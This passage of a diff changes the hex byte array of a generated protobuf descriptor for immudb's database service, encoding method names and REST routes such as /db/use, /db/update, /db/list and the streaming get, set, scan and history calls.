0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, - 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, + 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x67, + 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, + 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, - 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, - 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, - 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, - 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, - 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, - 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, - 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, - 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, + 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, + 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, + 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, + 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, - 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, + 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, - 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 